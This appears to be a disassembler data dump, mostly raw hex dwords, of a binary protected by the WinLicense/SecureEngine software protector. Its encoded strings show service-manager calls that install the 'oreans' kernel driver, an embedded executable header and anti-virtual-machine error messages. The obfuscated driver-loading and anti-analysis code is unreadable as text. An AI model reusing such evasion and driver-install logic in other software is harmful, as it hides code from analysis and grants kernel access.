13E9FB8Bh, 87000000h, 40B67C5Ch, 5D0B9580h dd 9458508Fh, 67DBB795h, 5061454Fh, 8BD08B66h, 0E8042444h dd 10h, 742E94FBh, 296855AFh, 2D3B60D2h, 8A3DC3ACh, 0E8008B59h dd 0Eh, 86C28915h, 0B70147C8h, 0FEB64227h, 0BE669B76h dd 895EE17Ch, 66042444h, 5158FB8Bh, 8B5ECE8Bh, 0E423B5BDh dd 0E49D8D05h, 5105E69Ch, 0FA4AB5B9h, 0BA665F4Eh, 66933B33h dd 6650FA8Bh, 6A93F18Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 93ECC351h, 64654D2Fh dd 89D0FF37h, 0E411219Dh, 850F4005h, 1A5h, 2C698D89h, 0F5805E4h dd 1A80h, 14840F00h, 0E9000000h, 0Fh, 6DDA1989h, 956D8B6Eh dd 1BC91456h, 503D104Bh, 310F5250h, 489585Ah, 0F38B6624h dd 8B60006Ah, 0FE8B66C7h, 4E861h, 800000h, 0BE500000h dd 49708180h, 424448Bh, 48E0Fh, 0BF660000h, 8B0C38h, 0D68B6657h dd 2444895Eh, 58FA8B04h, 11118589h, 36A05E4h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 50C35141h, 6802569Bh dd 98BEE71Ch, 6A144FA1h, 8E900h, 14930000h, 85619E54h dd 36A7A5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0A2C35141h, 68CB72FFh, 0F794F184h, 3481F28Bh, 94F18424h dd 81665737h, 59C8E7C6h, 9CEF9D8Dh, 0D98005E6h, 830F931Eh dd 19h, 14E9h, 6ADA0400h, 15D6F77Bh, 5F14ACF0h, 39C21AF2h dd 3F6BDCB2h, 860F50DFh, 6, 52595260h, 0E893615Bh, 0Fh dd 0AD871517h, 0CE3528B2h, 912D1E06h, 59AD15C5h, 6AD0FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 2F77F1C3h, 7E97041h, 8A000000h, 28507F27h, 0F403463h dd 4885h, 0EBBF6600h, 6A58A5h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 301A78C3h, 8D01982Eh dd 5E4088Dh, 10E9h, 0EE327900h, 21C810D0h, 95CFB9A6h, 0A53405B0h dd 121E98Eh, 0B70F0000h, 66D88BCBh, 0D8F1D981h, 0D79958Bh dd 664B05E4h, 8B0BC981h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0D29FC563h, 8B663146h dd 4985C6F3h, 4305E42Ah, 284DB589h, 906805E4h, 56DE8D9Fh dd 0A77CDCBAh, 34815A65h, 0FBD53724h, 53006A1Eh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0E84F748Eh, 2A75BDF2h, 0A1AEBE66h, 28E5B5FFh, 0B58905E4h dd 5E42649h, 3994858Dh, 0D0FF05E4h, 50F1BF0Fh, 8830Fh dd 0F510000h, 87h, 1C895E00h, 0CE924h, 0F0F60000h, 1028E7C7h dd 49278430h, 0D0FFBE4Bh, 9D8DEE8Ah, 5E46FFDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 77C35242h, 14E9D558h dd 0E8000000h, 66982142h, 7905FFEBh, 0B3704494h, 613E31Fh dd 0B887B5C9h, 1, 11E8E3FFh, 0B8000000h, 0CFBF7D27h, 0FD03923Bh dd 92950135h, 0BD299D2Dh, 0D798D8Bh, 8B5A05E4h, 0C08BFCC1h dd 0DE9h, 0E04E3400h, 0C074CB6h, 0A008D39Fh, 8D29D078h dd 5E41309h, 16A1BD83h, 750005E4h, 0DBD8309h, 5E422h, 53501974h dd 0FB8C08Bh, 89000004h, 0E41A5585h, 529D8D05h, 0FF05E6A9h dd 83585BD3h, 0E4220DBDh, 17740005h, 0FB85350h, 89000004h dd 0E41A5585h, 0F39D8D05h, 0FF05E6A5h, 0F585BD3h, 382h dd 0D7B70F00h, 75BD8Bh, 0C08B05E4h, 0AAE9h, 666F5300h dd 72617774h, 69575C65h, 63694C6Eh, 65736E65h, 65684300h dd 4E496B63h, 72705800h, 7845746Fh, 43007469h, 6B636568h dd 54554Fh, 4C6E6957h, 6E656369h, 65566573h, 6F697372h dd 6957006Eh, 63694C6Eh, 65736E65h, 76697244h, 65567265h dd 6F697372h, 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h dd 65636E61h, 69784500h, 6B4F74h, 636F7250h, 50004E49h dd 4F636F72h, 45005455h, 49746978h, 7845004Eh, 554F7469h dd 70540054h, 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0A40E8589h dd 858D05E6h, 5E6A40Ah, 74858D50h, 5005E6A3h, 168h, 1A95FF80h dd 6A05E6A4h, 0EB5FF19h, 6A05E6A4h, 8D006A01h, 0E6A3A385h dd 0B5FF5005h, 5E6A40Ah, 13E195FFh, 0B5FF05E4h, 5E6A40Ah dd 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh, 89C305E4h dd 0E6A40E85h, 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h dd 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh, 6A5005E6h dd 8D006A04h, 0E6A3CD85h, 0B5FF5005h, 5E6A40Ah, 13E195FFh dd 0B5FF05E4h, 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah dd 31B195FFh, 89C305E4h, 0E6A40E85h, 0A858D05h, 5005E6A4h dd 0A374858Dh, 685005E6h, 80000001h, 0A41A95FFh, 46A05E6h dd 0A40E858Dh, 6A5005E6h, 8D006A04h, 0E6A3B585h, 0B5FF5005h dd 5E6A40Ah, 13E195FFh, 0B5FF05E4h, 5E6A40Ah, 0A41695FFh dd 0B5FF05E6h, 5E6A40Ah, 31B195FFh, 89C305E4h, 0E6A40E85h dd 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h, 80000001h dd 0A41A95FFh, 46A05E6h, 0A40E858Dh, 6A5005E6h, 8D006A04h dd 0E6A3E085h, 0B5FF5005h, 5E6A40Ah, 13E195FFh, 0B5FF05E4h dd 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh dd 89C305E4h, 0E6A40E85h, 0A858D05h, 5005E6A4h, 0A374858Dh dd 685005E6h, 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh dd 6A5005E6h, 8D006A04h, 0E6A39085h, 0B5FF5005h, 5E6A40Ah dd 13E195FFh, 0B5FF05E4h, 5E6A40Ah, 0A41695FFh, 0B5FF05E6h dd 5E6A40Ah, 31B195FFh, 83C305E4h, 0E41FEDBDh, 840F0005h dd 0Bh, 1FED9D8Bh, 0C38305E4h, 0C303894Ch, 1FEDBD83h, 0F0005E4h dd 0B84h, 0ED9D8B00h, 8305E41Fh, 38950C3h, 0EDBD83C3h dd 5E41Fh, 0B840Fh, 9D8B0000h, 5E41FEDh, 8954C383h, 0BD83C303h dd 5E41FEDh, 0B840F00h, 8B000000h, 0E41FED9Dh, 58C38305h dd 83C30389h, 0E41FEDBDh, 840F0005h, 0Bh, 1FED9D8Bh, 0C38305E4h dd 0C303895Ch, 858960C3h, 5E6A40Eh, 0A40A858Dh, 8D5005E6h dd 0E6A37485h, 1685005h, 0FF800000h, 0E6A41A95h, 8D046A05h dd 0E6A40E85h, 46A5005h, 858D006Ah, 5E6A405h, 0AB5FF50h dd 0FF05E6A4h, 0E413E195h, 0A1BD8305h, 5E416h, 0C840Fh dd 0B5FF0000h, 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah dd 31B195FFh, 0C36105E4h, 0E858960h, 8D05E6A4h, 0E6A40A85h dd 858D5005h, 5E6A374h, 16850h, 95FF8000h, 5E6A41Ah, 858D046Ah dd 5E6A40Eh, 6A046A50h, 0E7858D00h, 5005E6A3h, 0A40AB5FFh dd 95FF05E6h, 5E413E1h, 16A1BD83h, 0F0005E4h, 0C84h, 0AB5FF00h dd 0FF05E6A4h, 0E6A41695h, 0AB5FF05h, 0FF05E6A4h, 0E431B195h dd 60C36105h, 0A40E8589h, 858D05E6h, 5E6A40Ah, 74858D50h dd 5005E6A3h, 168h, 1A95FF80h, 6A05E6A4h, 0E858D04h, 5005E6A4h dd 6A046Ah, 0A3EE858Dh, 0FF5005E6h, 0E6A40AB5h, 0E195FF05h dd 8305E413h, 0E416A1BDh, 840F0005h, 0Ch, 0A40AB5FFh, 95FF05E6h dd 5E6A416h, 0A40AB5FFh, 95FF05E6h, 5E431B1h, 8960C361h dd 0E6A40E85h, 0A858D05h, 5005E6A4h, 0A374858Dh, 685005E6h dd 80000001h, 0A41A95FFh, 46A05E6h, 0A40E858Dh, 6A5005E6h dd 8D006A04h, 0E6A3F685h, 0B5FF5005h, 5E6A40Ah, 13E195FFh dd 0BD8305E4h, 5E416A1h, 0C840F00h, 0FF000000h, 0E6A40AB5h dd 1695FF05h, 0FF05E6A4h, 0E6A40AB5h, 0B195FF05h, 6105E431h dd 858960C3h, 5E6A40Eh, 0A40A858Dh, 8D5005E6h, 0E6A37485h dd 1685005h, 0FF800000h, 0E6A41A95h, 8D046A05h, 0E6A40E85h dd 46A5005h, 858D006Ah, 5E6A3FDh, 0AB5FF50h, 0FF05E6A4h dd 0E413E195h, 0A1BD8305h, 5E416h, 0C840Fh, 0B5FF0000h dd 5E6A40Ah, 0A41695FFh, 0B5FF05E6h, 5E6A40Ah, 31B195FFh dd 0C36105E4h, 0E85C760h, 105E6A4h, 8D000000h, 0E6A40A85h dd 858D5005h, 5E6A374h, 26850h, 95FF8000h, 5E6A41Ah, 840FC00Bh dd 0Fh, 0A40E85C7h, 5E6h, 4DE90000h, 6A000000h, 0E858D04h dd 5005E6A4h, 6A046Ah, 0A388858Dh, 0FF5005E6h, 0E6A40AB5h dd 0E195FF05h, 0B05E413h, 0F840FC0h, 0C7000000h, 0E6A40E85h dd 5, 0AE900h, 85C70000h, 5E6A40Eh, 1, 0A40AB5FFh, 95FF05E6h dd 5E431B1h, 0E858B61h, 0C305E6A4h, 0E858960h, 8D05E6A4h dd 0E6A40A85h, 858D5005h, 5E6A374h, 16850h, 95FF8000h dd 5E6A41Ah, 858D046Ah, 5E6A40Eh, 6A046A50h, 88858D00h dd 5005E6A3h, 0A40AB5FFh, 95FF05E6h, 5E413E1h, 16A1BD83h dd 0F0005E4h, 0C84h, 0AB5FF00h, 0FF05E6A4h, 0E6A41695h dd 0AB5FF05h, 0FF05E6A4h, 0E431B195h, 60C36105h, 0A40E8589h dd 858D05E6h, 5E6A40Ah, 74858D50h, 5005E6A3h, 168h, 1A95FF80h dd 6A05E6A4h, 0E858D04h, 5005E6A4h, 6A046Ah, 0A39A858Dh dd 0FF5005E6h, 0E6A40AB5h, 0E195FF05h, 8305E413h, 0E416A1BDh dd 840F0005h, 0Ch, 0A40AB5FFh, 95FF05E6h, 5E6A416h, 0A40AB5FFh dd 95FF05E6h, 5E431B1h, 85C6C361h, 5E42A49h, 7B076852h dd 0B5FFADE4h, 5E40FB9h, 29F195FFh, 858905E4h, 5E6A41Ah dd 2A4985C6h, 685205E4h, 902E00E5h, 0FB9B5FFh, 95FF05E4h dd 5E429F1h, 0A4168589h, 85C605E6h, 5E42A49h, 12356852h dd 0B5FFB9BFh, 5E40FB9h, 29F195FFh, 858905E4h, 5E413E1h dd 2A4985C6h, 685205E4h, 98781034h, 0FB9B5FFh, 95FF05E4h dd 5E429F1h, 31B18589h, 85C605E4h, 5E42A49h, 0DBD46852h dd 0B5FFC005h, 5E40FB9h, 29F195FFh, 858905E4h, 5E430F5h dd 6E8h, 9F08C800h, 80F3E33Fh, 0F5FF9CDh, 58Ch, 0E9816600h dd 0C781F795h, 728Dh, 2BCE8B66h, 0DE960D2h, 0F000000h dd 0A3D57924h, 48402EA8h, 0E777B9BEh, 0EE9h, 834A1700h dd 0F73F132Ah, 2ECCE5EAh, 61455BFCh, 0E817048Bh, 8, 0CFC89E1Dh dd 0DCEF76AAh, 815E3DB3h, 11A121E8h, 81DA8B5Fh, 6F8D71F0h dd 65C98123h, 8176CF49h, 0A250BCE8h, 5E947h, 0F0780000h dd 896B4509h, 7E81704h, 7C000000h, 22D1996Ch, 0B70FB53Ch dd 72BB5EC8h, 8369940Eh, 0EE901EAh, 0DC000000h, 749C2668h dd 3421C615h, 0A225DA21h, 4A4A4AD7h, 8179E180h, 0FF8E64FAh dd 1A850FFFh, 66000000h, 79C6E381h, 2DE9h, 4670A00h, 62880C82h dd 2DFF0374h, 4B8E88A8h, 53E68165h, 0E956D306h, 0FFFFFF64h dd 1B4309C6h, 24F01DD5h, 31B65FB8h, 0D96AF0C3h, 11E88988h dd 1D000000h, 18297ED1h, 2FD1FCACh, 7CA7DA7Bh, 6EAAD7D3h dd 1580B860h, 52607688h, 0A4BE665Eh, 5A616191h, 81F08B66h dd 703AC2h, 9E800h, 277F0000h, 4AEF949Ah, 0B71996CBh, 0CDB85BB6h dd 0E900001Bh, 5, 9376E6EFh, 0F32FF19h, 86h, 0FE95F00h dd 6000000h, 0CFA161E2h, 99F81D8Dh, 19323255h, 0C781183Dh dd 70908148h, 0B349E6BEh, 0EF7813Eh, 8054F61Fh, 0EF81AAF5h dd 6B7876D5h, 0FACB8166h, 890F5769h, 5, 48CF8052h, 0E9028F59h dd 7, 3DDAC975h, 83F35F1Bh, 0BE801EAh, 5B000000h, 7B2651B7h dd 0C2C98D43h, 81662146h, 5E9676D3h, 0E94A4A4Ah, 10h, 0EF3886B2h dd 0D1EEF56Eh, 0A1F12AA9h, 0D15803BFh, 1E881h, 850F0000h dd 0Eh, 28E9h, 96DE2A00h, 143EEAB6h, 5E90E91h, 8D000000h dd 0E9339018h, 0FFFF50E9h, 0B8C562FFh, 26C59896h, 0A4A3B117h dd 0F2F669FCh, 99E96Bh, 622F0000h, 68636775h, 326B6365h dd 75622F00h, 65686367h, 2F006B63h, 63726F66h, 6E757265h dd 75622F00h, 65686367h, 75666B63h, 2F006C6Ch, 776F6873h dd 65646F63h, 68732F00h, 6F63776Fh, 326564h, 726C632Fh dd 642F0074h, 317369h, 6F68732Fh, 736E6977h, 636E6174h dd 672F0065h, 6C777465h, 74617473h, 2F007375h, 73676F6Ch dd 75746174h, 642F0073h, 73706D75h, 75746174h, 73h, 632F0000h dd 6B636568h, 746F7270h, 69746365h, 6E6Fh, 83000000h, 0E6ACDDBDh dd 840F0005h, 0Ah, 220D85C7h, 105E4h, 85C60000h, 5E42A49h dd 4E847h, 6C8D0000h, 8B50906Dh, 8B042444h, 24448900h dd 0B5FF5804h, 5E428E5h, 3994858Dh, 0D0FF05E4h, 0F88BD0FFh dd 0F223F80h, 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh dd 840F003Fh, 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h dd 840F003Fh, 303h, 0F203F80h, 685h, 6E94700h, 47000000h dd 0FFFFE2E9h, 3F80FFh, 5850Fh, 0E0E90000h, 0E9000002h dd 1, 203F8047h, 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h dd 2C3h, 0AE8h, 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 0E6AC5DB5h dd 225E805h, 0BD030000h, 5E6ACF2h, 0ACF2BD83h, 0F0005E6h dd 0B84h, 0A185C700h, 105E416h, 0C3000000h, 0AC68B58Dh dd 0FCE805E6h, 3000001h, 0E6ACF2BDh, 0F2BD8305h, 5E6ACh dd 0B840Fh, 85C70000h, 5E4220Dh, 1, 0E1B58DC3h, 0E805E6ACh dd 1D3h, 0ACF2BD03h, 0BD8305E6h, 5E6ACF2h, 0B840F00h, 0C7000000h dd 0E4102185h, 105h, 0B58DC300h, 5E6AC72h, 1AAE8h, 0F2BD0300h dd 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Bh, 220D85C7h, 105E4h dd 8DC30000h, 0E6AC7CB5h, 181E805h, 0BD030000h, 5E6ACF2h dd 0ACF2BD83h, 0F0005E6h, 1584h, 0D85C700h, 105E422h, 0C7000000h dd 0E416A185h, 105h, 0B58DC300h, 5E6AC8Ah, 14EE8h, 0F2BD0300h dd 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Ah, 19B185C7h, 105E4h dd 0B58D0000h, 5E6AC94h, 126E8h, 0F2BD0300h, 8305E6ACh dd 0E6ACF2BDh, 840F0005h, 0Ah, 19B185C7h, 105E4h, 0B58D0000h dd 5E6AC9Fh, 0FEE8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh dd 840F0005h, 0Ah, 6585C7h, 105E4h, 0B58D0000h, 5E6ACA5h dd 0D6E8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h dd 0Ah, 101185C7h, 105E4h, 0B58D0000h, 5E6ACABh, 0AEE8h dd 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h, 0Ah, 21CD85C7h dd 105E4h, 0B58D0000h, 5E6ACB9h, 86E8h, 0F2BD0300h, 8305E6ACh dd 0E6ACF2BDh, 840F0005h, 0Ah, 155585C7h, 105E4h, 0B58D0000h dd 5E6ACC6h, 5EE8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh dd 840F0005h, 0Ah, 1DED85C7h, 105E4h, 0B58D0000h, 5E6ACD1h dd 36E8h, 0F2BD0300h, 8305E6ACh, 0E6ACF2BDh, 840F0005h dd 0Ah, 29B185C7h, 105E4h, 1E90000h, 47000000h, 0F203F80h dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h dd 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h, 840F1638h dd 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h dd 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h dd 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h, 0D840Fh, 0F32B0000h dd 0ACF2B589h, 0AE905E6h, 0C7000000h, 0E6ACF285h, 5, 8BC36100h dd 20EE9C8h, 43330000h, 6F6E6E61h, 72772074h, 20657469h dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 4985C600h, 4705E42Ah, 0E45B8668h, 0E5B5FFE3h dd 8D05E428h, 0E4399485h, 68D0FF05h, 104h, 18559D8Dh, 0FF5305E4h dd 0B58D50D0h, 5E6B271h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E42A49h, 6EFC6843h dd 0B5FFBC8Eh, 5E428E5h, 3994858Dh, 0D0FF05E4h, 1855B58Dh dd 6A05E4h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 4985C6D8h, 5705E42Ah, 9BEE5668h, 0E5B5FFA6h, 8D05E428h dd 0E4399485h, 8DD0FF05h, 0E412F1BDh, 978D8D05h, 6A05E6B3h dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 0E6B079B5h, 41858D05h, 0FF05E69Ch, 0FD8D8DD0h, 0B805E46Fh dd 0 dd 85C6E1FFh, 5E42A49h, 4AA76843h, 0B5FFC076h, 5E428E5h dd 3994858Dh, 0D0FF05E4h, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 3 dup(0) dd 12Ch, 138h, 2 dup(0) dd 142h, 196h, 1D2h, 0 dd 1D2h, 0 dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0) dd 4000000h, 27C0h, 0 dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h, 110000h dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h dd 10301h, 3, 0 dd 13h dup(70000h), 3C0000h, 70000h, 60010018h, 0AD000727h dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h dd 7279801h, 1016B00h, 2771h, 360h dup(0) dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0) aVerpp db 'verPP',0 align 4 a1vsr2vsr3vsr db '1vsR2vsR3vsR',0 align 4 dd 9C3h dup(0) dd 831BE883h, 77309F8h, 8524FFh, 0F8000000h, 0C3h, 8 dup(0) dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) aOreansx64_sys db 'oreansx64.sys',0 align 4 dd 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 0C48B0000h, 13099589h, 858905E4h, 5E42645h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C4C35646h, 22A780A2h dd 0CFB70F57h, 8BC08B59h, 0E41BB9BDh, 0A1BD8305h, 5E416h dd 0BD830975h, 5E4220Dh, 50197400h, 0B8C08B53h, 43Dh, 22158589h dd 9D8D05E4h, 5E6A8EBh, 585BD3FFh, 220DBD83h, 740005E4h dd 0B8535017h, 43Dh, 22158589h, 9D8D05E4h, 5E6A5DAh, 585BD3FFh dd 26798529h, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 7F0828C3h, 0D1B70F8Bh, 6AC08Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 64B0CEC3h, 8B1BF6D0h, 0BD83F9C0h, 5E416A1h, 83097500h dd 0E4220DBDh, 13740005h, 0C08B5350h, 0B8h, 8D9D8D00h dd 0FF05E6A7h, 83585BD3h, 0E4220DBDh, 11740005h, 0B85350h dd 8D000000h, 0E6A63E9Dh, 5BD3FF05h, 12E958h, 96CC0000h dd 8AF858E4h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h, 31D98D29h dd 0C08B05E4h, 0FCD9D89h, 0C08B05E4h, 1075BD8Bh, 0BD8305E4h dd 5E416A1h, 83097500h, 0E4220DBDh, 13740005h, 0C08B5350h dd 0B8h, 0BF9D8D00h, 0FF05E6A6h, 83585BD3h, 0E4220DBDh dd 11740005h, 0B85350h, 8D000000h, 0E6A60C9Dh, 5BD3FF05h dd 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4AA02A9Eh, 0B0BCEE26h, 95891942h, 5E40995h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 5DC35545h dd 29AAB2C3h, 0E407558Dh, 0BFC08B05h, 6960B7CBh, 0CA80C08Bh dd 0A1BD8357h, 5E416h, 0BD830975h, 5E4220Dh, 50137400h dd 0B8C08B53h, 0 dd 0A7269D8Dh, 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50117400h dd 0B853h, 9D8D0000h, 5E6A625h, 585BD3FFh, 0CA03B966h dd 22698D8Bh, 0C08B05E4h, 237D9531h, 0C08B05E4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 36C35040h, 0B8F90E64h dd 0A069B9DAh, 0BD831798h, 5E416A1h, 83097500h, 0E4220DBDh dd 13740005h, 0C08B5350h, 0B8h, 589D8D00h, 0FF05E6A6h dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 3302C350h, 0E4299D8Dh, 0C7815305h dd 6FE88500h, 0B2C08B59h, 66C08B04h, 0BF32DA81h, 16A1BD83h 